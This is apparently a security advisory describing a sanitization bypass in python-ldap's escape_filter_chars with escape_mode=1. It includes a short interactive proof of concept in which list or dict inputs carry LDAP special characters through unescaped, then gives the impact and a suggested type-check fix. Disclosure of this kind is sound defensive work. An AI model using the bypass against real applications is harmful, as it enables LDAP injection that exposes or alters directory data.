python-ldap has sanitization bypass in ldap.filter.escape_filter_chars

Summary

The sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured.

Details

The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 happily computes without performing adequate logic to ensure a fully escaped return value.

PoC

>>> import ldap.filter

Exploitable

>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=1)
'abc@*()/xyz'
>>> ldap.filter.escape_filter_chars({"abc@*()/xyz": 1}, escape_mode=1)
'abc@*()/xyz'

Not exploitable

>>> ldap.filter.escape_filter_chars("abc@*()/xyz", escape_mode=1)
'abc@\\2a\\28\\29\\2fxyz'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 41, in escape_filter_chars
    s = assertion_value.replace('\\', r'\5c')
        ^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'list' object has no attribute 'replace'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 36, in escape_filter_chars
    r.append("\\%02x" % ord(c))
                        ^^^^^^
TypeError: ord() expected a character, but string of length 11 found

Impact

If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them.

With Python being a dynamically typed language, and the commonly used JSON format supporting list and dict, it is to be expected that Python applications may commonly forward unchecked and potentially malicious list and dict objects to the vulnerable sanitization method.

The vulnerable escape_mode=1 configuration does not appear to be widely used.

Suggested Fix

Add a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.